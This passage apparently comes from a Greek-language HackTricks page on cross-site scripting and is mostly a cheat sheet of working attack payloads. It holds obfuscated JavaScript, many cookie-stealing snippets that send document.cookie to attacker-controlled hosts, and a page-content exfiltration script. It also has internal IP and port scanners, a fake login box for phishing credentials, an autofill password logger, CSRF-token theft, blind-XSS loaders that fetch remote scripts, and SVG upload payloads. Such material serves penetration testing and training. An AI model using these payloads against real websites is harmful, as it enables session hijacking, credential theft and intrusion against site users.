[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS κοινά φορτία
Πολλαπλά φορτία σε 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Ανάκτηση Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Δεν θα μπορέσετε να έχετε πρόσβαση στα cookies από το JavaScript εάν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχετε μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί. {% endhint %}
Κλοπή περιεχομένου σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Εύρεση εσωτερικών διευθύνσεων IP
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Σαρωτής Θύρας (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Σαρωτής Θύρας (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Οι σύντομοι χρόνοι υποδεικνύουν ένα θύρα που ανταποκρίνεται Οι μακρύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει ανταπόκριση.
Ελέγξτε τη λίστα των απαγορευμένων θυρών στο Chrome εδώ και στο Firefox εδώ.
Κουτί για να ζητηθούν διαπιστευτήρια
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Καταγραφή αυτόματης συμπλήρωσης κωδικών πρόσβασης
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Όταν εισάγεται οποιαδήποτε δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης στέλνονται στον διακομιστή του επιτιθέμενου, ακόμα κι αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαγοραστούν.
Keylogger
Απλά ψάχνοντας στο github βρήκα μερικά διαφορετικά:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit
http_javascript_keylogger
Κλοπή διακριτικών CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Κλοπή μηνυμάτων PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Κατάχρηση Υπηρεσιών Εργαζομένων
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Πρόσβαση στο Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Πολύγλωττοι
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Πληροφορίες για Blind XSS payloads
Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από αυτή την ανάλυση είναι δυνατόν να μάθουμε ότι ακόμα κι αν ορισμένες τιμές εξαφανιστούν από τον κώδικα JavaScript, είναι εξακριβωμένο ότι είναι δυνατόν να τις βρούμε σε γνωρίσματα JavaScript σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να βρεθεί ακόμα και μετά την αφαίρεση της τιμής της εισόδου του REGEX:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Λίστα Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
Εκμετάλλευση XSS άλλων ευπαθειών
XSS στο Markdown
Μπορείτε να εισάγετε κώδικα Markdown που θα εκτελεστεί; Ίσως να μπορείτε να πάρετε XSS! Ελέγξτε:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS προς SSRF
Έχετε XSS σε έναν ιστότοπο που χρησιμοποιεί προσωρινή μνήμη; Δοκιμάστε να το αναβαθμίσετε σε SSRF μέσω της εισαγωγής Edge Side Include με αυτό το φορτίο:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: XSLT.
XSS σε δυναμικά δημιουργημένο PDF
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να εξαπατήσετε το bot που δημιουργεί το PDF να εκτελέσει αυθαίρετο κώδικα JS.
Έτσι, αν το bot δημιουργού PDF βρει κάποια είδους ετικέτες HTML, θα τις ερμηνεύσει, και μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να προκαλέσετε ένα Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Αν δεν μπορείτε να ενσωματώσετε ετικέτες HTML, μπορεί να αξίζει να δοκιμάσετε να ενσωματώσετε δεδομένα PDF:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS στο Amp4Email
Το AMP, με στόχο την επιτάχυνση της απόδοσης της ιστοσελίδας σε κινητές συσκευές, ενσωματώνει ετικέτες HTML που συμπληρώνονται από JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά στοιχείων για διάφορα χαρακτηριστικά, προσβάσιμα μέσω στοιχείων AMP.
Η μορφή AMP για Email επεκτείνει συγκεκριμένα στοιχεία AMP σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Παράδειγμα εκθεσης XSS στο Amp4Email στο Gmail.
XSS με μεταφόρτωση αρχείων (svg)
Μεταφορτώστε ένα αρχείο ως εικόνα όπως το παρακάτω (από http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Βρείτε περισσότερα SVG payloads στο https://github.com/allanlw/svg-cheatsheet
Διάφορα Κόλπα JS & Σχετικές Πληροφορίες
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
Πόροι XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακάρετε το αχακάριστο - προσλαμβάνουμε! (απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής).
{% embed url="https://www.stmcyber.com/careers" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.